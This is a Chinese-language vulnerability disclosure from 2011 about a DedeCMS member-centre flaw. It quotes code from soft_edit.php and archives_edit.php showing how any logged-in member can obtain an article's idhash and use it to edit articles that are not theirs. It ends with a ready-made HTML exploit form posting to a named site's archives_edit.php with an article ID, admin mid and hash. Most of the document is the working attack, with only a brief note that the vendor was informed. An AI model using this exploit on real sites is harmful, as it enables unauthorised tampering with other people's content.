摘要:发布日期:2011-01.25 发布作者:心灵 影响版本:DEDECMS 官方网站: 漏洞类型:设计缺陷 漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞! 废话不说 经典对白 看代码! membersoft_edit.php 01 if(empty(...
发布日期:2011-01.25
发布作者:心灵

影响版本:DEDECMS
官方网站:

漏洞类型:设计缺陷
漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!
废话不说
经典对白 看代码!
membersoft_edit.php

01 if(empty($dopost)) //如果这里是空也就是直接访问这个文件

02 {

03 //读取归档信息

04 $arcQuery = "Select

05 dede_channeltype.typename as channelname,

06 dede_arcrank.membername as rankname,

07 dede_channeltype.arcsta,

08 dede_archives.*

09 From dede_archives

10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel

11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank

12 where dede_archives.id=$aid";

13 //悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!

14 $dsql->SetQuery($arcQuery);

15 $row = $dsql->GetOne($arcQuery);

16

17 //省略一堆验证代码....

18 include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板[code]

19 //再看这个soft_edit.htm 的代码

20 //其中一段是

21 <input type="hidden" value="<?php echo md5($row[id].$cfg_cookie_encode); ?>" />
//输出了 idhash 这个很重要
//这样就得到了要修改文章的idhash

//然后用修改文章的文件去利用


看代码archives_edit.php

01 if($dopost==save)

02 {

03 include(DEDEMEMBER./inc/archives_check_edit.php); //这里是验证idhash

04 //省略一堆没用的代码

05 $upQuery = "Update `dede_archives` set

06 ismake=$ismake,

07 arcrank=$arcrank,

08 typeid=$typeid,

09 title=$title,

10 litpic=$litpic,

11 description=$description,

12 keywords=$keywords,

13 mtype = $mtypesid,

14 flag=$flag

15 where id=$aid And mid=$mid; "; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID


现在看下archives_check_edit.php这个文件

1 $ckhash = md5($aid.$cfg_cookie_encode);

2 if($ckhash!=$idhash) //idhash就是这样用的

3 {

4 ShowMsg(校对码错误,你没权限修改此文档或操作不合法!,-1);

5 exit();

6 }
//这样就成功修改文章了

EXP:

01 <form method="post" action="http://www.t00ls.net/member/archives_edit.php?dopost=save" enctype="multipart/form-data">

02 <label>

03 <input type="text" value="44003" /> //这里是文章ID 自己在plus/view.php里找

04 </label>

05 <label>

06 <input type="text" value="1" /> //发布人的MID 默认ADMIN是1

07 </label>

08 <label>

09 <input type="text" value="1" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID

10 </label>

11

12 <label>

13 <input type="text" value="test" /> //文章标题

14 </label>

15

16 <label>

17 <input type="text" value="test" /> //文章内容

18 </label>

19 <label>

20 <input type="text" value="32bbac95e90baaffad905bb3d44edd9f" /> //idhash 在第一步里说了怎么获取了

21 </label>

22 <label>

23 <input type="text" value="1" /> //验证码。。新发布文章就能获取

24 </label>

25 <div></div>

26 <input value="确定修改 " type="submit">

27 </form>


 


这样就能任意修改任何文章了..........

修复:已提交官方,请注意及时升级